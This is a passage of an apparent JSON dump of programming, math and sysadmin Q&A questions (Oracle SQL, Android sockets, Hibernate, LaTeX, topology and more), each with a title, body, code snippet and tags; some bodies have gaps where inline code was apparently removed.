automatically. For example: my service runs 24 hours a day. Even with the
property CanStop set to false, the service can sometimes occur fall, either for
lack of energy, the terminal being rebooted, or any other problem.\nThe only thing
I've tried so far is setting a method to restart the service from time to time, but
this isn't good for me because it will greatly influence the performance of own
work and the windows service.\nCould someonegive me a hand?\nThanks to all \n", "",
"c# windows-services"],
"4946818": ["In SQL in a \"group by\" expression: how to get the string that
occurs most often in a group?", "Assume we have the following table:\n\nAs result
of a \"group by A\" expression I want to have the value of the B-Column that occurs
most often:\n\nHow do I achieve this in Oracle 10g?\nRemark: in the case of a tie
(when there are more than one value that occurs most often) it does not matter
which value is selected.\n", "Id A B\n1 10 ABC\n2 10 ABC\n3 10
FFF\n4 20 HHH\n", "sql oracle oracle10g group-by"], "3046293": ["The number of
words that can be made by permuting the letters of _MATHEMATICS_ is", "The number
of words that can be made by permuting the letters of MATHEMATICS is \n$1) 5040$\
n$2) 11!$\n$3) 8!$\n$4) 4989600$\nFirst of all I do not understand the statement of
the problem, I would like if some one tell me with an example.\n", "",
"permutations"], "2759253": ["Help with writting DataOutputStream in Android", "So
i am trying to set up a socket client to send just an int for the time being with
DataOutputStream to a server. My app works fine when i run it from my PC but i get
this error message on Android emulator on Eclipse: \"The application SOCKET has
stopped unexpectedly please try again\". Any tips? If you find any other mistakes
why this would not work in general any advice is appreciated.\nCode of the app for
Android:\n\n", "import java.io.*; \nimport java.net.*; \nimport
android.app.Activity; \nimport android.os.Bundle; \nimport
android.widget.TextView;\n\npublic class SOCKET extends Activity {\n\n
@Override\n public void onCreate(Bundle savedInstanceState){\n\n
super.onCreate(savedInstanceState);\n TextView tv = new TextView(this);\n
tv.setText(\"App1 Test\");\n setContentView(tv);\n Client app1Test =
new Client();\n app1Test.run();\n }\n\n public class Client implements
Runnable{\n\n @Override\n public void run() {\n int
message = 13;\n Socket App1 = null;\n\n try {\n
App1 = new Socket(\"xxxxx.dyndns-remote.com\", ####);\n } catch
(UnknownHostException e) {\n // TODO Auto-generated catch block\
n e.printStackTrace();\n } catch (IOException e)
{\n // TODO Auto-generated catch block\n
e.printStackTrace();\n }\n\n\n DataOutputStream output =
null;\n\n try {\n output = new
DataOutputStream(App1.getOutputStream());\n } catch (IOException e) {\n
// TODO Auto-generated catch block\n e.printStackTrace();\n
}\n\n\n try {\n output.write(message);\n
output.close(); \n App1.close();\n } catch (IOException
e) {\n // TODO Auto-generated catch block\n
e.printStackTrace();\n\n }\n\n }\n\n\n}\n}\n", "android sockets stream
tcpclient dataoutputstream"], "4725197": ["Calling Scala from Groovy: How to handle
different collection types?", "I'm using Groovy for testing and Scala for actual
code. Obviously I often use Scala's collection types - but when I generate test
data in Groovy I often use the java.util.*-types.\nI started writing static
conversion methods based on the scalaj-collection library. But that's just not
'groovy'.\nWhat's the best approach to convert one to the other? \nMight implicit
conversions work somehow?\nUPDATE:\nFor example if I wouldn't manually convert the
types I of course get:\n\n", "groovy.lang.MissingMethodException: \nNo signature of
method: static setup is applicable for argument types: (java.util.ArrayList)\n
Possible solutions: setup(scala.collection.immutable.List)\n", "scala interop
groovy"], "4456978": ["Sequential circuit design", "A sequential circuit has two
inputs, x1 and x2. Five-bit sequences representing decimal digits coded in the 2-
out-of-5 code appear from time to time on line a:,, synchronized with a clock pulse
on a third line. Each five consecutive bits on the line x1, which occur while x2 =
0 but immediately following one or more inputs of x2 = 1, may be considered a code
word. The single output z is to be 0, except upon the fifth bit of an invalid code
word. Determine a state table of the above sequential circuit.\n2 out of 5 code\n\
n0=00011 \n1=00101 \n2=00110 \n3=01001\n4=01010\n5=01100\n6=10001\n7=10010 \
n8=10100 \n9=11000\n\nI have solved it with 16 states. could any one tell me the
is it possible to reduces the number of states to less than 16?\n", "", "logic
state-machines finite-state-machine fsm"], "2408562": ["How could i pass the value
from base adapter to activity", "I am working in one app where i need to pass the
value from base adapter class to activity\nhere is the snippet code:\n\nHere i am
getting the image id position:\n\nhow could i pass the imageIds position to
activity Thanks !!\n", "public View getView(int position, View convertView,
ViewGroup parent) {\n\n\n vi=convertView;\n\n\n
if(convertView==null){\n vi =
LayoutInflater.from(parent.getContext()).inflate(R.layout.screen, null);\n\n
position_pin = position;\n\n Holder.images=(ImageView)
vi.findViewById(R.id.image);\n Holder.textview=(TextView)
vi.findViewById(R.id.name);\n\n\n\n
Holder.images.setImageResource(imageIds[position]);\n
Holder.text.setText(name);//here name is String \n\n vi.setTag(Holder);
\n\n }\n\n return vi;\n }\n", "android
android-activity baseadapter"], "4047381": ["Kbuild - including source file from
external directory", "I have some source code which I want to use for both a kernel
module and in a user-space program. I'd like to only maintain a single copy of
that code within my source tree. I was thinking of putting the shared source files
in a shared folder (outside of the kernel tree), have kbuild build these files from
the external directory, and produce .o files inside of the module's directory. Is
there a good way to include source files from an external directory using kbuild?\
nMy target directory would look something like this:\n\nWhile it's possible to copy
shared.c into the foo directory as part of the build process, it seems like an ugly
solution, and I'm wondering if there's a better way.\n", "+ linux\n| + drivers\n|
+ foo\n| + Makefile\n| + foomain.c\n| + foomain.o\n| + shared.o\n+
shared\n| + shared.c\n+ bar\n + Makefile\n + barmain.c\n + barmain.o\n +
shared.o\n", "linux makefile kbuild"], "2443420": ["ASP.NET : w3wp is using lots of
memory and the process is not responding", "Can someone give me step by step
instructions or point to the correct references in the correct order \nso that I
can determine the root cause of this issue?\n", "", "asp.net .net debugging w3wp"],
"46716": ["ListData.svc returns Error 400: Bad Request in Visual Studio", "I wanted
to use the REST Service in an application. So when i add the service reference in
Visual Studio i get this error\n\nThere was an error downloading
'http://myMainSite/sites/subSite/_vti_bin/ListData.svc'.\n The request failed with
HTTP status 400: Bad Request.\n Metadata contains a reference that cannot be
resolved: 'http://myMainSite/sites/subSite/_vti_bin/ListData.svc'.\n The remote
server returned an unexpected response: (400) Bad Request.\n\nWhen i access the
Service-URL in the browser i get the definition xml\n", "", "development visual-
studio listdata.svc"], "4986132": ["Understanding the linux scheduler", "I am new
to linux kernel and low level programming. I wanted to know how linux scheduler is
supposed to be O(1) in time complexity. \nI came across the following article which
is very informative but I have a problem understanding the pargraph I have
reproduced below \nhttp://www.ibm.com/developerworks/linux/library/l-scheduler/\n\
nThe job of the scheduler is simple: choose the task on the highest\n priority
list to execute. To make this process more efficient, a\n bitmap is used to define
when tasks are on a given priority list.\n Therefore, on most architectures, a
find-first-bit-set instruction is\n used to find the highest priority bit set in
one of five 32-bit words\n (for the 140 priorities). The time it takes to find a
task to execute\n depends not on the number of active tasks but instead on the
number of\n priorities. This makes the 2.6 scheduler an O(1) process because the\n
time to schedule is both fixed and deterministic regardless of the\n number of
active tasks.\n\nWhy 5 words of 32 bits for 140 queues ? Who the find-first-bit-set
instruction helps to select one of the 140 queues ? \n", "", "linux linux-kernel
scheduling"], "2404057": ["How make WPF Listbox child datatemplate controls select
the ListBoxItem container when clicked?", "I have a listbox and in the datatemplate
I have an Expander.\nIf I click on the Expander Header, the expander expand the
content zone but not make the parent ListBoxItem Selected.\nIf I click on the
Expanded Content Zone of the Expander, the parent ListBoxItem become selected.\nHow
to make that when clicking the expanderHeader, the content become expanded AND the
parent listboxitem become selected?\n", "", ".net wpf listbox listboxitem
childcontrol"], "4467487": ["unresolved import in eclipse pydev", "I just properly
installed the google gdata library for python (the script actually runs fine). I'm
working with pydev in eclipse. I imported a module but the import command remains
curly red underlined as you can see on the screenshot.\n\nI added the following und
ProjectName->Properties, but it does not work (although the path is definitly
correct):\n\nWhat do I have to do such that the
import is resovled correctly by eclipse?\n", "", "eclipse import unresolved"],
"3968765": ["\"Not enough storage is avaliable to process this command\"", "When my
program runs, following error was taken:\n\nHow can I solve this problem...\nThanks
for help..\n", "Excepiton in theard \"AWT -EventQueue -1\"
java.lang.UnsatisfiedLinkError: program.dll: Not enough storage is avaliable to
process this command\n\n[java] at java.lang.ClassLoader$NativeLibrary.load<Native
Method>\n[java] at java.lang.ClassLoader.loadLibrary0<ClassLoader.java:1751>\
n[java] at java.lang.ClassLoader.loadLibrary<ClassLoader.java:1647>\n[java] at
java.lang.Runtime.load0<Runtime.java:769>\n[java] at
java.lang.System.load<System.java:968>\n", "java jni"], "3038373": ["convert
generating function to recurrence", "How do we convert generating function to a
recurrence:\nLets say we have this function\n\\[ x\\mapsto \nx\\cdot \\frac{8+2x-
2x^2}{1-6x-3x^2+2x^3} \\]\nhow do we get it back to a recurrence?\n", "",
"recurrence-relations generating-functions"], "289560": ["Supertabular across
pages", "I am using the environment to split tables over pages.\nDoes anybody know,
how I can give LaTeX a hint, where to break the table and turn to the next page?
There are some rows, which should be displayed together.\nI Googled around, but
could not find an appropriate answer, in Google or the document. renders my table
unusable. At least as all other tables are displayed with \n\nas the first head and
the environment seems not to like this sort of tables.\nCan anyone help on this
issue?\n", "supertabular", "tables page-breaking longtable supertabular"],
"674497": ["Set CPU register values while debugging managed app in VS", "I am
debugging a .NET app in Visual Studio 2010 RC using disassembly view. The code is
optimized and JIT-ed. At a particular point, I need to change ZR CPU flag so that
JNE instruction would take a different path. For some strange reason, the registers
window in VS is readonly and does not let me change register values, nor can I
use \"set next instruction\" command to force the jumping myself. Any ideas?\nP.S.
Are there alternatives, like a command for the \"command window\"? I doubt I could
do it from the \"Immediate window\" since i don't think .net allows register
access.\n", "", ".net debugging cpu-registers"], "1848652": ["Hiding Directory
Path", "I'm not sure if I am wording this right, but I need to hide the directories
of my Wordpress installation.\nWhat I mean is, I am able to go to, say:\n\n...and
see all my uploads to my site this month. Anyone can access this from any pc. I
want to block this, so that people can only see what is available on my site's
pages and posts, without being able to access the filesystem of my website.\nOf
course, not every file in my root directory can be accessed, so maybe it's normal
that anyone can access my uploads.\nJust a little confused, and would appreciate it
if someone could clear this up for me.\nThanks!\n",
"www.example.com/wp-content/uploads/2012/08 \n", "directory"], "1508782": ["Cannot
connect to a replica set using seeds localhost:27017", "I am using mongoid 1.4.12
and I have a mongos running local.This mongos points to a few replica sets in
sharding mode. \nMy mongoid.yml looks like this:\n\nhowever i am getting this
error:\n\nCannot connect to a replica set using seeds localhost:27017\n\nWhy? how
it should be the proper configuration then? \nI am afraid that if i change to \n\
nhost: locahost\n\nIt wont read from my secondary.\n", "production: &production\n
database: db_name\n hosts:\n - - localhost\n - 27017\n read_secondary:
true\n", "ruby mongodb mongoid"], "48117": ["Template C++0x lambda function... or
functor/predicate?", "I have recently upgraded my so I can enjoy lambda
functions.\nEverything is great and I am very thankful to those who made it
possible in C++ and gcc in particular. There is only one thing that I can't seem to
solve - how to have lambda's arguments to be templated? Below are basic examples of
lambda usage to demonstrate the problem.\nExample #1, everything is yummy:\n\nNow,
assume that now invokes predicate two times with different argument types. So here
goes example #2:\n\nNote keyword. I also tried templating it in-place. Don't try
to compile that with gcc, here is what I get:\n\nBut you get the idea. I can solve
it with new function declaration style, in theory, but that's not the point. Here
is what I really am trying to do, but with simplified syntax (, and are stripped
for simplicity sake):\n\nIs there a way, or at least plans, to add support for not
fully specialized lambda functions, so that they will act sort of like a predicate
with ? I don't even know how to name it, lambda predicate maybe? Please let me know
your thoughts! Thanks!\n", "g++", "c++ templates lambda c++11 lambda-functions"],
"4983053": ["Is it possible for hibernate to create the database and database
user?", "I have an application that uses hibernate and JPA to handle the database.
I know that hibernate can create the database tables for me, however, I've found
that I must first create the database files and the database user account before
hibernate can create the tables. Is there a way for hibernate to do create the
database and user account for me?\n", "", "java database hibernate jpa"], "450630":
["How do I save a pw-protected MS word doc as an xml file?", "I have
tried \"renaming\" the document with a \".xml\" extension, but it still appears
with a word document icon on my desktop, and when I right click it, it still says
it is a word document. What the file ends up saying is \"FILENAME.xml.doc\" (no
quotation marks). I read online that other people have been able to change the file
type of a word doc simply by renaming it. How do I save a password-protected MS
word doc as an xml file?\nI run MS Office 2010 if that is of any use. \nI found a
USB drive from when I was still in my middle school years, and it is like a tiny
time capsule (sort of). I put a password on a document but can't remember what it
was.\nI would appreciate any help!\n", "", "xml ms-word document"], "1563189":
["Question regarding simplexml_load_file, root element and document element", "I am
sure I am being an idiot here, but something is not working correctly.\nI've got
this very basic code.\n\nIf I do a debug print of $xml it comes out like I expect
it to. The XML looks like this, very simple\n\nAll I want to do is get the error
number. So I have tried this, and it doesn't return anything!\n\nWhat am I doing
wrong!?\n", "$Xml = simplexml_load_file($Url);\n", "php xml simplexml"], "1848651":
["How does a TABLE work in AHDL?", "I have an implementation of a Control Unit (UC)
in AHDL, and I'm supposed to simulate it and see if it works as defined in the
correspondent ASM diagram.\nI used MAX+plus II to simulate it, and it doesn't work
as I expected, but I can't really say what's wrong because I am not familiar with
AHDL, let alone the TABLE part.\nHere is my Control Unit:\n\nSUBDESIGN EXP1_UC\n(\
nCLKUC: INPUT;\nRES: INPUT;\nN1,N2,M1,M2: INPUT;\nCLR1, CLR2, CLR3, EN1, EN2, EN3,
SEL: OUTPUT;\n)\nVARIABLE\nUC: MACHINE OF BITS (CLR1, CLR2, CLR3, EN1, EN2, EN3,
SEL)\nWITH STATES\n(\ns0 = B\"1110000\",\ns1= B\"0001000\",\ns2= B\"0000100\",\ns3=
B\"0000000\",\ns4= B\"0000010\",\ns5= B\"0000001\",\ns6= B\"0000011\"\n);\nBEGIN\
nUC.CLK = CLKUC;\nUC.RESET = RES;\nTABLE\nUC, N1,N2,M1,M2 => UC;\ns0, 0, 0, X, X =>
s0;\ns0, 1, X, X, X => s1;\ns0, X, 1, X, X => s2;\ns1, X, X, X, X => s3;\ns2, X, X,
X, X => s3;\ns3, 0, 0, 0, 0 => s3;\ns3, 1, X, X, X => s1;\ns3, X, 1, X, X => s2;\
ns3, X, X, 1, X => s4;\ns3, X, X, X, 1 => s5;\ns4, X, X, X, X => s3;\ns5, X, X, X,
X => s6;\ns6, X, X, X, X => s3;\nEND TABLE;\nEND;\n\nThere are 2 situations in the
simulation which I don't understand:\n1) When the current state is S3 and the
inputs are M1 = 1 and M2 = 1, the next state is S6. I don't get that, because the
way I see it, there is no way to go to S6 without passing through S5 first.\n2)
When the current state is S0 and the inputs are N1 = 1 and N2 = 1, the next state
is defined in the simulation as \"12\". Well, there is no such state...\nCan anyone
help me?\nThanks.\nUPDATE: \n1) I have to use ADHL and MAX+plus II even though it's
hardly the best combination of tools, because this is a paperwork for college, and
I didn't write the code (like I said, I am just supposed to simulate it, I can't
change it).\n", "", "hardware simulation altera"], "630973": ["My visitors %20
percent can't reachable to my web site", "i have dedicated web server and also i
hosting www.btgmaslak.com web site. I'm facing a problem about 1 days. My visitors
about 20 percent can't reach my web site. I thing this problem occurs because of
dns settings. Can you analyze my dns settings and give me suggestions ? thanks\
nhttp://www.intodns.com/btgmaslak.com\n", "", "dns ip"], "3445357": ["glassfish
oracle connections pool", "I have an java ee application deployed on glassfish 3
server with local and remote session beans (application clients and web clients).
The glassfish have a jdbc connection pool to a oracle databes. The applications
runing well and after 2 days the sessions and processes on database increase to
max. Alter me database and I increase the max sessions and processes and after that
the sessions and processes continue to increase so the application clients is very
slow and return errors. My questions is why the sessions and processes not close
when an application close?\n", "", "java persistence oracle11g ejb-3.0 glassfish-
3"], "3476863": ["Show unused device driver", "When we plug in the usb game pad, it
installs the device driver and starts to show up in the device manager. Can we
somehow extract the driver from the device and install it such that it shows in
device manager all the time irrespective of whether device is plugged in
or not ?\nAny help in this regard is appreciated.\nThanks in advance.\n", "", "usb
drivers devices"], "2401714": ["How to read flash attributes after redirection in
Spring MVC 3.1?", "I would to know how to read a flash attributes after redirection
in Spring MVC 3.1.\nI have the following code:\n\nWhat I am missing?\n",
"@Controller\n@RequestMapping(\"/foo\")\npublic class FooController {\n\n
@RequestMapping(value = \"/bar\", method = RequestMethod.GET)\n public
ModelAndView handleGet(...) {\n // I want to see my flash attributes here!\n }\
n\n @RequestMapping(value = \"/bar\", method = RequestMethod.POST)\n public
ModelAndView handlePost(RedirectAttributes redirectAttrs) {\n
redirectAttrs.addFlashAttributes(\"some\", \"thing\");\n return new
ModelAndView().setViewName(\"redirect:/foo/bar\");\n }\n\n}\n", "java spring-
mvc"], "4906462": ["How can I change the color of the road in Google maps?", "I'm
looking for a way to change the color of roads (yellow) in MapView for Android. I
thought of overriding the method, and then to go over each pixel and change it,
but the method is final.\nI also thought of wrapping the MapView with a ViewGroup
and then try overriding its onDraw, but I'm not sure of how to do it.\nDoes anyone
have an idea?\nThanks.\n", "onDraw", "android google-maps android-mapview android-
canvas"], "2830122": ["Get week-wise data from mysql since jan 2011", "Get data
week-wise my mysql since jan-2011. Timestamp is unix time stamp.so that i can see
number of entries made per week since jan-2011 and analyse it\n", "", "mysql"],
"5910769": ["hibernate.cfg.xml mapping resources", "Is there any way to use a
regular expression (or just *) to tell Hibernate to pick up all of the hbm.xml
files in a given directory, or even in the project? I just reverse engineered my
database, and don't feel like specifying a hundred plus tables with <mapping
resource=\"...\">\nI'm using Maven to run hbm2java. Do I need to indicate
something in my component configuration?\nMy hibernate.cfg.xml currently looks like
this:\n\n", "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE hibernate-
configuration PUBLIC\n \"-//Hibernate/Hibernate Configuration DTD 3.0//EN\"\n
\"http://hibernate.sourceforge.net/hibernate-configuration-3.0.dtd\">\n<hibernate-
configuration>\n <session-factory>\n <property
name=\"hibernate.connection.driver_class\">oracle.jdbc.driver.OracleDriver</
property>\n <property
name=\"hibernate.connection.url\">jdbc:oracle:thin:@....</property>\n
<property name=\"hibernate.connection.username\">hithere</property>\n
<property name=\"hibernate.connection.password\">shhhh</property>\n
<property name=\"hibernate.default_schema\">foobar</property>\n <property
name=\"hibernate.dialect\">org.hibernate.dialect.Oracle10gDialect</property>\n\n
<mapping resource=\"com/foo/bar/db/Blip.hbm.xml\" />\n <mapping
resource=\"com/foo/bar/db/Blap.hbm.xml\" />\n <mapping
resource=\"com/foo/bar/db/Blop.hbm.xml\" />\n </session-factory>\n</hibernate-
configuration>\n", "hibernate maven"], "4484272": ["Render a dynamic shape in
cocos2d", "I'm using cocos2d-x and want to create a dynamic shape as part of my
user interface. I need a circle with an adjustable section removed. I attempted
this using the draw method but item would be drawn every frame which required too
much processing power. What would be an efficient way to achieve this without
drawing the shape every frame? Is it possible to clip a circle sprite to remove a
section?\n\nThe mathematics behind the implementation is ok, I'm just looking for a
high level explanation about how I should approach this.\n", "", "cocos2d-iphone
cocos2d cocos2d-x"], "5298068": ["How to force Mono MVC3 application to show
TempData in current response", "If ASP.NET MVC2 code below shows message \"Test\"
in Create controller response.\nIn Mono message does not appear apper in Create
view.\nMessage appears in next response invoked after create.\nHow to dorce Mono to
show TempData value in same request like in ASP.NET ?\n\nSite.Master:\n\n",
"[HttpPost]\npublic RedirectToRouteResult Create()\n{\n TempData[\"Message\"]
= \"Test\";\n return RedirectToAction(\"Index\");\n}\n\n\npublic ActionResult
Index() {\n return View();\n }\n", "c# asp.net asp.net-mvc asp.net-mvc-2 mono"],
"1875245": ["Create a log normal distribution of random numbers in Fortran?", "I'm
trying to re write some python / numpy code in FORTRAN 90. In my python code, I
generate 5000 random log normal distributed numbers with the following command: \n\
nI'm trying to do the same thing in FORTRAN 90. I'm not very familiar with FORTRAN
90, but I found this on Intel's
website:\n\nhttp://software.intel.com/sites/products/documentation/hpc/mkl/mklman/
GUID-C564D9DC-FDF0-426B-9C9D-1740969BDBEC.htm\nI know what n,r,a,sigma,b, and beta
are, but I have no idea what they mean by method / stream, and what I should pass
those values as. Also, what is status? How would I call this function in my code?
Do I need to include any files? Thanks.\n",
"numpy.random.lognormal(mu,sigma,5000)", "fortran"], "3947641": ["XSL Grouped
Count", "I am trying to extract unique values from an XML and how many times they
occur.\nI have been following the answer given in Xslt distinct select / Group by
but my schema is a little different.\nMy XML looks something similar to:\n\nBased
on the code in the previous answer I have:\n\nBut this returns:\n\nSo the for-each-
select isn't only matching the first instance of each text() value. Could someone
point me in the right direction please.\n", "<A>\n <B>\n <C>\n
<D>APPLE</D>\n </C>\n </B>\n <B>\n <C>\n
<D>BANANA</D>\n </C>\n </B>\n <B>\n <C>\n
<D>APPLE</D>\n </C>\n </B>\n</A>\n", "xml xslt"], "4958580": ["Redis Pub-
Sub or Socket.IO's broadcast", "I saw this snippet:\nOn Server\n\nOn Client\n\nAnd
I'm wondering why? Doesn't Socket.IO have its own broadcast mechanism? Why choose
Redis' Pub-Sub over Socket.IO? Can't we just do like this:\n\nAnd if there is a
reason to use Redis, what would be the benefit? Persistence?\n",
"io.sockets.on('connection', function(socket) {\n const subscribe =
redis.createClient();\n const publish = redis.createClient();\n\n
socket.on('publish', function(channel, data) {\n publish.publish(channel,
data);\n });\n\n socket.on('psubscribe', function(channel) {\n
subscribe.psubscribe(channel);\n });\n\n subscribe.on(\"pmessage\",
function(pattern, channel, message) {\n socket.emit('message', { channel:
channel, data: message });\n });\n});\n", "redis real-time socket.io publish-
subscribe"], "2737677": ["how to create singleton instance per thread using MEF",
"I am new in MEF. I am working on a C# WPF application and using Prism with MEF.\
nPlease tell me how can I create single instance per thread of a class using MEF.\
nThanka a lot\nDJ\n", "", "mef"], "3924807": ["Help me to write Long LaTeX
equations fast with colours and possibly with other aids", "I am too slow LaTeX-
typist, for example with the equations below I cannot find where I am missing some
bracket. Could someone offer me some computational method? I use Vim but I am happy
with any method you have in hand.\n\nPerhaps related\n\nVideos about writing
mathematical expressions in LaTex\nTypescript terminal recording into video\n\n",
"\\[\n\\sum_{n=2}^{\\infty}\\left( \\left(2^{n} \\right) 2^{n/k} ln(2^{n})\\
right)^{-k}=\n\\sum_{n=2}^{\\infty} e^{-k \\left(n(1+\\frac{1}{k})ln(2)+ln(n)
+ln(ln(2)) \\right}\n\\]\n", "equations vim"], "5029187": ["Jet(Access) DB and
Expression based columns?", "I occasionally work on an old project that uses
classic asp as a front end and an access database as a backend.\nI'd like to create
a new column in one of the tables that contains logic to calculate its value from
the other columns in the row.\nI know how to do this in a more modern DBMS, but I
don't think that access supports it. Keep in mind I'm not using the access
frontend, just the Jet DB engine via ODBC.\nAny pointers?\n", "", "ms-access jet
expressions"], "3968768": ["In a web app, how do I preload a set of arbitrary files
to view them more quickly as I go through them?", "Suppose I have a .NET web
application that contains two panes. One pane is a viewer capable of displaying a
variety of large file types. The other pane contains an arbitrary list of files,
e.g. file1.docx, file2.xlsx, file3.pptx, file4.txt, file5.doc, file6.htm,
file7.zxz, file8.exe etc. \nThe user is capable of selecting any file in the list
and displaying it in the adjacent pane when the selection changes, presumably via
client-side Javascript. Given the user has selected some file, e.g. file1.docx, is
there a way to prefetch/preload some number of files in the list, e.g. file2.xlsx
and file3.pptx while the user is viewing file1.docx? \nIf this could be done in the
background with an asynchronous Ajax-like call, it would make the application
appear faster for users who went from file to file in sequence. I am assuming that
the prefetch call could be smart enough not to attempt to request files that could
not be viewed, e.g. exe files.\nAny help or examples would be much appreciated.\n",
"", "ajax view preload prefetch"], "5611516": ["Adding & Use MSCOMM in visual basic
2010 express", "i already add the mycomm.lib into my visual basic by clicking
Project-> Add reference -> Com Tab -> choose mycomm control 6.0. But i still dunno
how to use it. \nWhat i want is to send a character From visual basic express 2010
to Microcontroller.\n", "", ".net vb.net serial-port mscomm32"], "1548250": ["How
to read a data row from Excel with more than 255 characters", "The issue is When I
set up the DataSet as shown below, the default reads only 255 characters from the
spreadsheet cell and places them into the
table. \n\nI'm using Extended Properties=Excel 8.0 and Microsoft.Jet.OLEDB.4.0,
there is no problem connecting to the excel sheet.\nFrom my reading it follows that
it is due to the Jet.OLEDB provider, what should I be using? \nAnd I may be unable
to update to new provider of Jet, is there any workaround? Any workaround would
would be restricted on not being able to directly modify the Excel document to
contain two cells or more for data over 255 chars.\nThanks.\n", "DataSet exData =
new DataSet();\nstring connectionString = String.Format(ConnectionString, path);\
nOleDbDataAdapter ex = new OleDbDataAdapter(ExcelQuery, connectionString);\
nex.Fill(exData);\n", "c# excel oledb"], "6003953": ["Permission denied -
/usr/local/bin/pkill.pl", "I'm installing Homebrew and when I run it prompts:\n\
nI've tried:\n (also other options: 777, a-x, ...I don't know which is need it for
brew)\nbut when , still:\n\nCould you tell me how to solve it? Thank you!\n", "brew
doctor", "unix homebrew"], "20121": ["New McAfee antivirus disables Windows XP
access to printers?", "On Friday at the end of the day we updated our in-house
servers to run the newer McAfee SaaS Endpoint Protection Suite, which involved
restarting the servers. This morning (Monday) our Windows XP machines cannot
access printers shared from those servers. They can still log on (the server with
the printer in question is also the Active Directory server) and access file
shares. I haven't been able to find any relevant entries in the Event Viewer on
the server.\nThe server is Windows Server 2003. The printer is an HP LaserJet
M2727nf. The error text in Windows is\n\n\"Windows cannot connect to the printer.
Either the printer name was typed incorrectly, or the specified printer has lost
its connection to the network.\"\n\nThe message comes up when logon scripts run,
and when I try to open the printer from the Printers and Faxes area of Control
Panel. Windows 7 computers seem to be fine. I don't see any errors in the Network
Summary page from the printer.\nThe firewall installed by McAfee is not a factor.
Is there anything else it could have changed to affect printer sharing to Windows
XP only? I'm also not 100% sure it's the McAfee installation that's causing the
problem, but it's the most significant change that's happened since the last time
printing worked.\nUPDATE 2/22/2011: I tried updating the HP drivers on the XP
machines. The executable \"installer\" for the new drivers did not actually
install anything, it just extracted files to an unspecified location. As per the
instructions I removed the printer and re-added it. This seemed to solve the
problem, but this morning when users logged on, the problem came back.\n", "",
"windows-xp printing windows-server-2003 mcafee"], "2369658": ["Base of clopen and
$T_{0}$ implies $X$ is Tychonoff", "Let $X$ be a topological space and assume $X$
has a base $\\mathcal{B}$ of clopen sets. Show $X$ is completely regular and a
$T_{0}$ space.\nMy try:\nFirst it is not hard to show that if $B \\subset X$ then
$\\chi_{B}$, the characteristic function of $B$ is cts iff $B$ is clopen.\nSo let
$F \\subset X$ be a closed set and let $x \\in X \\setminus F$. Then since $X \\
setminus $ is open we can find $B \\in \\mathcal{B}$ such that $x \\in B \\subseteq
X \\setminus F$. Now define $\\phi: X \\rightarrow [0,1]$ by $\\phi(x)= \\chi_{B}
(x)$ then since $B$ is clopen $\\phi$ is a continuous map, $\\phi(F)=\\{0\\}$ and
$\\phi(x)=1$, therefore $X$ is completely regular. \nEDIT: \nSorry, Brian Scott is
right, I'm trying to prove the following, if $X$ is $T_{0}$ and has a base of
clopen sets then $X$ is completely regular and $T_{1}$. So I think the above proof
is correct (i.e showing it is completely regular), how to show it is $T_{1}$?\n",
"", "general-topology"], "2316050": ["Facebook Php sdk to handle at server side?",
"I have been trying to use facebook php-sdk for my webapplication but I am not able
to get my requirement fulfilled from the code available with php sdk. My firewall
is placed on clients such that they cannot open facebook urls on their system, only
the application server can open the facebook url. Thus, I need a means that enables
the client to login and share on facebook without ever changing the context root to
facebook on client machines and do all the interactions with facebook via
application server. I am reiterating my requirement, which is that the context root
or url on client machines should never start from facebook, it can be a part of the
query string from my context root (ie. for example say site url is www.some-
sitename.com, I want facebook to appears as
\"www.some-sitename.com/.../facebook.com\").\nI would be highly obliged for any
help regarding the same. \n", "", "php facebook-php-sdk"], "41299": ["Chrome
Extension: Permissions to manipulate content of data URIs", "I am working on a
Chrome extension that needs to inject scripts into data:-URI pages.\nWhen trying to
execute the javascript I get an exception:\n\nBut which permission would work for
me? I tried , , - none of these worked. Also the permission did not do the trick.
Any ideas?\n", "Error during tabs.executeScript: Cannot access contents of
url \"data:text/html;charset=utf-8, \u2026 \". Extension manifest must request
permission to access this host.\n", "google-chrome-extension"], "5033350": ["Degree
of Hessian surface invariant under linear transformations?", "Given a surface $V(f)
\\subset \\mathbb{P}^n$ for a homogeneous polynomial $f$ of degree $d$ on $\\
mathbb{P}^n$ and a linear transformation $g \\in SL(n+1)$. Is the degree of the
Hessian $H_f = V(\\det (\\frac{\\partial f}{\\partial x_i\\partial x_j}))$ of $f$
equal to the degree of the Hessian $H_{f\\circ g} = V(\\det (\\frac{\\partial (f\\
circ g)}{\\partial x_i\\partial x_j}))$ of $f\\circ g$? If so, why? If not, are
there any restrictions under which this holds?\nMany thanks in advance!\n", "",
"abstract-algebra algebraic-geometry differential-geometry analytic-geometry"],
"1833728": ["SQLite: A library supporting it implements it?", "I started using
SQLite for my project and I found there are many libraries supporting it like Qt,
pysqlite, Poco C++ etc. I also found out that previous SQLite versions didn't
support foreign keys.\nHow do the drivers know what sqlite executable to use? And
how do I know they support what version of sqlite they support?\nAnother question:
How do I enable foreign keys in sqlite by default?\n", "", "sqlite sqlite3 foreign-
keys"], "3282567": ["Is there a package that provides graphing in the style of Ed
Tufte?", "I have recently started using the package for various science writing
and, while I love the package generally, am dismayed that it does not include the
ability to produce graphics (charts, sparklines, etc.) in the style of Tufte.
While his typesetting is wonderful, it seems to me that the plots are the primary
focus of his work.\nIs there a readily available package that allows for easy
production of Tufte-style plots? Perhaps using pgfplots or sageTeX?\n", "tufte-
latex", "pgfplots tufte"], "902276": ["Setting the background color of a
contentbyte itextsharp", "MVC3 VB.NET application using Itextsharp. I have a
section of code that generates a pdf file everything looks great but I would like
to alternate the line colors in that pdf file between 2 color so that the values
are easy to follow for the person looking at it. Is there a way to set the
background color of a whole line based on font size to a set color? A function I
would be using this in is below:\n\nI thought about just setting the background
color of the line by using the y_line1 and using a modulus to determine if the
color should be grey or white. But I have found no code samples anywhere about how
to set a whole line background color.. Any ideas????\n", " For Each _reg_ In
_reg\n Dim _registrant As reg_info = _reg_\n If
y_line1 <= 30 Then\n doc.NewPage()\n _Page =
_Page + 1\n y_line1 = 670\n End If\n\n
If y_line1 = 670 Then\n cb.BeginText()\n
cb.SetFontAndSize(BF_Times, 6)\n
cb.ShowTextAligned(PdfContentByte.ALIGN_LEFT, _datePrinted + \" \" + _timePrinted,
500, 770, 0)\n
